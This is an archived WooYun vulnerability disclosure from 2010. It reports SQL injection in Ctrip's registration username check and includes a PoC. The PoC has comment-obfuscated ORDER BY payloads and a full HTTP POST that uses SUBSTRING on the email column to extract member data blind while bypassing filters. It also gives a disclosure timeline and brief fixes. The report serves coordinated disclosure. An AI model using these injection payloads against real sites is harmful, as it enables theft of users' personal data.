破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

携程网某ajax验证存在sql注入

编号133
Urlhttp://www.wooyun.org/bug.php?action=view&id=133
漏洞状态厂商已经确认
漏洞标题携程网某ajax验证存在sql注入
漏洞类型SQL注射漏洞
厂商携程旅行网
白帽子路人甲
提交日期2010-07-30 10:30:00
公开日期2010-08-29 15:00:00
修复时间(not set)
确认时间2010-07-30 00:00:00
Confirm Spend0
漏洞标签防火墙绕过 服务权限设置不当 .net 字符类型注射 waf Sqlserver 用户资料泄漏
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank10
漏洞简介
位置较敏感,发生在members表,可以发现表的一些字段,能够窃取任何人的包括email等信息,未深入测试
漏洞细节

用户注册时,"验证用户是否存在"因过滤不严谨导致sql注入
另外:
http://www.ctrip.com/robots.txt
http://destguides.ctrip.com/destguides/journals/AllSingleJournals.aspx?Writing=130079%27%273
暴露了敏感信息

POC

http://www.ctrip.com/member/CheckUser.asp
post: signup_uid=xyyxx1x'/**/order/**/by/**/1--
post: signup_uid=xyyxx1x'/**/order/**/by/**/uid--
post: signup_uid=xyyxx1x'/**/order/**/by/**/email--
尝试不正确的字段导致不同结果,输入".`"等字符及其它注入手段测试(可能存在ids)

POST /member/CheckUser.asp HTTP/1.1
Accept: */*
Accept-Language: en-US,zh-cn;q=0.5
Referer: http://www.ctrip.com/member/signup.asp
If-Modified-Since: Thu Jan 1 08:00:00 UTC+0800 1970
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2)
Host: www.ctrip.com
Content-Length: 94
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
signup_uid=jquery1'/*and*/and/**/sUbstRing(email,1,1)=char(0)/**/order/**/by/*and 1=1*/email--

修复方案

1.白名单验证
2.屏蔽或友好提示错误

状态信息 2010-07-30: 细节已通知厂商并且等待厂商处理中
2010-07-30: 厂商已经确认,细节仅向厂商公开
2010-08-09: 细节向核心白帽子及相关领域专家公开
2010-08-19: 细节向普通白帽子公开
2010-08-29: 细节向实习白帽子公开
2010-08-29: 细节向公众公开
厂商回复十分感谢大牛,正在处理中
回应信息危害等级:高漏洞Rank:10 确认时间:2010-07-30 16:17
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

膜拜

w0lfram02011-10-12 13:51:00